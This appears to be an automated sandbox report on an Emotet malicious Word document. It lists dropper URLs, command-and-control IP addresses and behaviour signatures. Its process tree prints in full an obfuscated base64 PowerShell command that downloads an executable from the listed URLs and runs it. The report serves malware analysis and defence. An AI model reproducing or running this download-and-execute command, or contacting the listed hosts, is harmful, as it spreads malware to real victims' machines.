Analysis

  • max time kernel
    81s
  • max time network
    103s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    20/08/2020, 05:57

General

  • Target
    emotet_e3_1ded2d7cc228ed55fcd64164252d2a2da11cf10ad774d7315bcccd449336ae72_2020-08-20__055605._doc.doc
  • Size 200KB
  • Sample200820-e772qamcrx
  • SHA256 1ded2d7cc228ed55fcd64164252d2a2da11cf10ad774d7315bcccd449336ae72
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://cahayu.id/wp-includes/jSi7Fd1r2wtg64969/

  • exe.dropper

    https://anhung1102.vn/wp-admin/LtirUcNdN/

  • exe.dropper

    https://idan-online.co.il/wp-admin/PPf124q2l26832/

  • exe.dropper

    http://www.canfrec.com.mx/4swBvrmkkp/VqcoomQpd/

  • exe.dropper

    http://dhartiproject.mysquare.in/temp/ZJd8p5u49737132/

  • exe.dropper

    https://lokeshullamkecskemet.hu/mail/Jnilw/

  • exe.dropper

    http://armonimalatya.com/dermatomic/77qo1g74024/

Extracted

Family
  • emotet

C2
  • 173.94.215.84:80

  • 85.25.207.108:8080

  • 178.128.14.92:8080

  • 60.125.114.64:443

  • 181.126.54.234:80

  • 157.7.164.178:8081

  • 95.216.205.155:8080

  • 216.75.37.196:8080

  • 179.62.238.49:80

  • 71.57.180.213:80

  • 172.96.190.154:8080

  • 112.78.142.170:80

  • 178.238.232.46:443

  • 177.144.130.105:443

  • 105.209.235.113:8080

  • 46.105.131.68:8080

  • 185.86.148.68:443

  • 143.95.101.72:8080

  • 75.127.14.170:8080

  • 168.0.97.6:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_1ded2d7cc228ed55fcd64164252d2a2da11cf10ad774d7315bcccd449336ae72_2020-08-20__055605._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:240
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABaAG4AZgA3AG4AYgBrAD0AKAAnAEQAZwA1ACcAKwAnAHUAJwArACcAaQBkADYAJwApADsAJgAoACcAbgBlAHcALQBpAHQAJwArACcAZQAnACsAJwBtACcAKQAgACQARQBOAHYAOgB0AEUAbQBQAFwATwBGAEYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBDAHQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAdQByAEkAVAB5AGAAUAByAGAAbwBUAE8AYwBvAGwAIgAgAD0AIAAoACcAdABsACcAKwAnAHMAMQAyACwAIAB0ACcAKwAnAGwAcwAxADEALAAgAHQAbAAnACsAJwBzACcAKQA7ACQAUABnAGIAdQB1AHkAcQAgAD0AIAAoACcAUgA1ACcAKwAnAG0AcwBwAHoAbQAnACkAOwAkAEEAMAB2ADcAawBzAGwAPQAoACcARgAnACsAJwBrAHYAYQBkACcAKwAnADIAdgAnACkAOwAkAFYAaABkAGYAZABuAF8APQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAHsAMAB9ACcAKwAnAE8AZgBmAGkAJwArACcAYwBlADIAMAAxADkAewAwAH0AJwApAC0ARgBbAGMAaABBAHIAXQA5ADIAKQArACQAUABnAGIAdQB1AHkAcQArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAWAA0AGEAOQB1AHAAXwA9ACgAJwBJAHYAJwArACcANwAyAGwAMAAyACcAKQA7ACQAUwBqADQAZwB6AHQANQA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAJwArACcAZQBjAHQAJwApACAATgBFAHQALgBXAEUAQgBjAGwASQBlAG4AVAA7ACQAUwBhAGcAZwBjAG0AYgA9ACgAJwBoAHQAJwArACcAdAAnACsAJwBwADoALwAvAGMAYQBoAGEAeQAnACsAJwB1AC4AaQBkAC8AdwBwAC0AaQBuAGMAbAAnACsAJwB1ACcAKwAnAGQAZQBzAC8AagBTAGkANwBGAGQAMQByADIAJwArACcAdwB0AGcANgAnACsAJwA0ADkANgA5AC8AKgBoAHQAJwArACcAdABwAHMAOgAvAC8AJwArACcAYQBuAGgAJwArACcAdQBuAGcAJwArACcAMQAxACcAKwAnADAAMgAuAHYAbgAvAHcAJwArACcAcAAtAGEAZABtAGkAbgAvAEwAdABpAHIAVQBjACcAKwAnAE4AZABOAC8AKgBoACcAKwAnAHQAdABwAHMAOgAvAC8AaQBkACcAKwAnAGEAbgAtAG8AbgAnACsAJwBsAGkAbgAnACsAJwBlAC4AYwBvAC4AaQBsAC8AdwBwAC0AYQBkAG0AJwArACcAaQBuAC8AJwArACcAUABQAGYAMQAyADQAcQAyAGwAMgA2ADgAMwAnACsAJwAyAC8AKgBoAHQAJwArACcAdABwADoALwAvAHcAdwB3AC4AJwArACcAYwBhAG4AZgByAGUAYwAuAGMAbwBtACcAKwAnAC4AJwArACcAbQB4AC8ANABzAHcAQgB2AHIAbQBrAGsAcAAnACsAJwAvAFYAcQBjAG8AbwBtAFEAcABkAC8AKgBoACcAKwAnAHQAdAAnACsAJwBwADoALwAnACsAJwAvACcAKwAnAGQAaABhAHIAdABpAHAAcgBvAGoAZQBjAHQALgBtAHkAJwArACcAcwAnACsAJwBxAHUAYQByAGUALgAnACsAJwBpAG4ALwB0ACcAKwAnAGUAbQBwAC8AWgBKAGQAOABwADUAdQA0ADkANwAzADcAMQAnACsAJwAzADIALwAnACsAJwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAcwA6AC8AJwArACcALwBsAG8AawBlAHMAaAAnACsAJwB1AGwAJwArACcAbABhACcAKwAnAG0AawAnACsAJwBlAGMAJwArACcAcwAnACsAJwBrAGUAbQBlAHQALgBoAHUALwBtACcAKwAnAGEAaQAnACsAJwBsAC8ASgBuAGkAbAB3AC8AKgBoACcAKwAnAHQAJwArACcAdAAnACsAJwBwADoAJwArACcALwAvAGEAcgBtACcAKwAnAG8AJwArACcAbgBpAG0AJwArACcAYQAnACsAJwBsAGEAJwArACcAdAB5AGEALgBjACcAKwAnAG8AbQAnACsAJwAvAGQAZQByACcAKwAnAG0AYQB0AG8AJwArACcAbQBpAGMALwA3ACcAKwAnADcAcQAnACsAJwBvACcAKwAnADEAZwA3ADQAMAAyADQAJwArACcALwAnACkALgAiAFMAUABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQQA0ADYAcAByAHAAXwA9ACgAJwBXAG4AbgA5ACcAKwAnAHQAJwArACcANQBvACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEMAeQBxAHUAbwBpAHcAIABpAG4AIAAkAFMAYQBnAGcAYwBtAGIAKQB7AHQAcgB5AHsAJABTAGoANABnAHoAdAA1AC4AIgBkAE8AdwBgAE4AbABvAGEARABgAEYAaQBsAGUAIgAoACQAQwB5AHEAdQBvAGkAdwAsACAAJABWAGgAZABmAGQAbgBfACkAOwAkAEcAdQB1AHgAeQBwADQAPQAoACcAWgAnACsAJwBiAHQAMQB4AHUAJwArACcAZQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAVgBoAGQAZgBkAG4AXwApAC4AIgBsAEUAbgBgAEcAVABoACIAIAAtAGcAZQAgADIANQAwADEAMQApACAAewAuACgAJwBJAG4AJwArACcAdgBvAGsAZQAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACgAJABWAGgAZABmAGQAbgBfACkAOwAkAEgAXwBsADgAZwBsAHMAPQAoACcASgAnACsAJwBjAGcAYwBiAF8AcwAnACkAOwBiAHIAZQBhAGsAOwAkAFkAcgAyAG8AZQB4AHgAPQAoACcARgBxAHAANwBqAGEAJwArACcAbAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEMAcABqADYAYwBhAGQAPQAoACcAQgA1AGsAJwArACcAbQB3AHUAOQAnACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1788
    • C:\Users\Admin\AppData\Local\Temp\Office2019\R5mspzm.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\R5mspzm.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1840
      • C:\Windows\SysWOW64\winrssrv\MuiUnattend.exe
        "C:\Windows\SysWOW64\winrssrv\MuiUnattend.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1648

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/240-7-0x0000000006E90000-0x0000000007090000-memory.dmp

        memory/240-5-0x000000000ADD0000-0x000000000ADD4000-memory.dmp

        memory/240-6-0x000000000BE50000-0x000000000BE54000-memory.dmp

        memory/240-18-0x0000000002020000-0x0000000002021000-memory.dmp

        memory/240-4-0x0000000006E90000-0x0000000007090000-memory.dmp

        memory/240-0-0x00000000004F7000-0x00000000004FB000-memory.dmp

        memory/240-3-0x0000000006E90000-0x0000000007090000-memory.dmp

        memory/240-2-0x00000000089C0000-0x00000000089C4000-memory.dmp

        memory/1648-25-0x0000000000380000-0x000000000038C000-memory.dmp

        memory/1788-14-0x0000000002440000-0x0000000002441000-memory.dmp

        memory/1788-17-0x000000001C370000-0x000000001C371000-memory.dmp

        memory/1788-16-0x000000001B630000-0x000000001B631000-memory.dmp

        memory/1788-15-0x0000000002470000-0x0000000002471000-memory.dmp

        memory/1788-13-0x000000001AD80000-0x000000001AD81000-memory.dmp

        memory/1788-12-0x0000000002370000-0x0000000002371000-memory.dmp

        memory/1788-11-0x000007FEF1FA0000-0x000007FEF298C000-memory.dmp

        memory/1840-21-0x0000000000340000-0x000000000034C000-memory.dmp

        memory/1964-26-0x000007FEF2710000-0x000007FEF298A000-memory.dmp